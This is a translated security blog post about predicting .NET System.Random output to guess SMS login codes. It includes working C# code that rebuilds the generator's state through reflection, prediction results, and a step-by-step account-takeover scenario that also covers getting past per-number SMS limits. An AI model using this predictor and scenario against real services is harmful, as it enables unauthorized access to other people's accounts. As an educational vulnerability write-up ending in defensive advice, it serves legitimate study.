dscheg January 30, 2018 at 07:00

Accident, or PRNG attack in .NET

Random numbers should not be generated with a method chosen at random.
- Donald Knuth

Digging somehow in the source code of one service in search of vulnerabilities, I came across the generation of a one-time code for authentication via SMS. The request handler for sending code simplified as follows:

class AuthenticateByPhoneHandler
{
    /* ... */
    static string GenerateCode() => rnd.Next(100000, 1000000).ToString();
    readonly static Random rnd = new Random();
}

The problem is visible to the naked eye: to generate a 6-digit code, the Random class is used - a simple non-cryptographic pseudorandom number generator (PRNG). We will deal with them closely: we will learn how to predict a sequence of random numbers and figure out a possible scenario of an attack on a service.

Thread safety

By the way, note that in the above code snippet, access to a static instance rndof the Random class from multiple threads is not synchronized. This can lead to an unpleasant incident, which can often be found in questions and answers on StackOverflow:

That is, the first attack scenario is simple - we send a lot of parallel requests to send SMS to the server, as a result, the instance of the Random class is in a very poor condition.

However, this attack is too crude. In addition, disruption of the service was not included in the plans. Therefore, we turn to the prediction of codes sent in SMS.

Giblets Random.cs

The documentation says that the Random class implements the algorithm for generating random numbers by the subtraction method proposed by Donald Knut in the second volume of “The Art of Programming”, this is a variation of the delayed Fibonacci generator .

It's funny that the algorithm is implemented with a typo . The generator is initialized with values that differ from those described by Knut, so the properties and period of the generated numbers may be worse than expected. Microsoft decided not to fix the implementation so as not to break backward compatibility. Instead, a disclaimer about the “modified” version of the algorithm appeared in the documentation.

This is how the method for generating the next pseudo-random number looks like.

private int InternalSample()
{
    int locINext = inext;
    int locINextp = inextp;
    if(++locINext >= 56) locINext = 1;
    if(++locINextp >= 56) locINextp = 1;
    var retVal = SeedArray[locINext] - SeedArray[locINextp];
    if(retVal == int.MaxValue) retVal--;
    if(retVal < 0) retVal += int.MaxValue;
    SeedArray[locINext] = retVal;
    inext = locINext;
    inextp = locINextp;
    return retVal;
}
private int inext = 0;
private int inextp = 21;
private readonly int[] SeedArray = new int[56];

The generator has an internal state SeedArrayof 56 ints (the zero element is not used, so there are actually 55 of them). A new pseudo-random number is obtained by subtracting two numbers located in the internal state with indices inextand inextp. The same number replaces the internal state element with the index inext.

This means that in order to predict the next pseudo-random number, one does not need to know the theory of additive random generators, but rather just find out the current internal state of the generator. And this can be done based on its output values.

Predict the future

As a predictor, we will use an instance of the same Random class, in which, through reflection, we replace the internal state SeedArray. To fill the internal state, you need a function that is inverse to converting an arbitrary Int32 number from the internal state to the range [min;max):

public static int GetInternalStateValue(int minValue, int maxValue, int value)
{
    var range = maxValue - minValue; // Не учитываем случай range > int.MaxValue
    return (int) ((double) (value - minValue) / range * int.MaxValue);
}

This method uses operations with real numbers, so we get only an approximate value of the internal state. We will write a test to find out how large the error is in our range [100000; 1000000):

var rnd = new Random(31337);
var seedArray = new[] {0}.Concat( // Нулевой элемент SeedArray не используется
        Enumerable.Range(0, 55)
            .Select(i => rnd.Next(Min, Max))
            .Select(val => GetInternalStateValue(Min, Max, val)))
        .ToArray();
var predictor = new Random();
typeof(Random)
    .GetField("SeedArray", BindingFlags.Instance | BindingFlags.NonPublic)
    .SetValue(predictor, seedArray); // Инициализируем предсказатель
for(int i = 0; i < 10; i++)
    Console.WriteLine($"{rnd.Next(Min, Max)} vs {predictor.Next(Min, Max)}");

We get:

103753 vs 103754 // (+1)
617169 vs 617169
523211 vs 523211
382862 vs 382862
516139 vs 516140 // (+1)
555187 vs 555187
384855 vs 384856 // (+1)
543554 vs 543553 // (-1)
327867 vs 327867
745153 vs 745153

Voila! Now you can, knowing a sequence of 55 numbers, almost accurately predict the following pseudorandom numbers from the desired range.

After the prediction (55 - 21 = 34) of numbers, the error increases, and it is better to reinitialize the predictor.

Attack scenario

To carry out an attack, one more nuance must be taken into account. The vulnerable service had several replicas, requests for which were balanced randomly. One could also check the randomness of balancing, but this was not required - the server response contained an HTTP header with the name of the service replica.

In addition, there was a limitation in the service - no more than 3 SMS to one number. However, it is easy to get around through any free SMS service that provides a pool of phone numbers.

Now the whole mosaic is assembled. The attack scenario will be like this:

We choose the time when the flow of requests for the service is minimal in order to avoid the generation of pseudorandom numbers by other users.
Using the phone numbers from the pool, we get N × 55 SMS with login codes, where N is the number of service replicas.
Using the method GetInternalStateValuefor the inverse transformation of numbers from a range, we fill in the internal states of N instances of the random number generator.
We send SMS to the phone number of interest, we predict the sent code, we enter the service under the account of another person.
If the code does not fit (we assume that due to an error when working with real numbers), we try (+1) and (-1).
We take the next phone of interest ...

Conclusion

Predicting the future for an instance of Random is a simple matter.

Predicting the past is not a problem either. To do this, in the same way, initialize the internal state of the generator, and then “reverse” the method InternalSampleand rewind 55 already known values.

When using Random, one must not forget about access synchronization or use- ThreadStaticinstances. When creating multiple instances, you need to take care of the seed so as not to get many equally initialized objects.

In security-critical places, you need to use a cryptographically stable and stream- safe RNGCryptoServiceProvider and not reveal unnecessary information about the environment.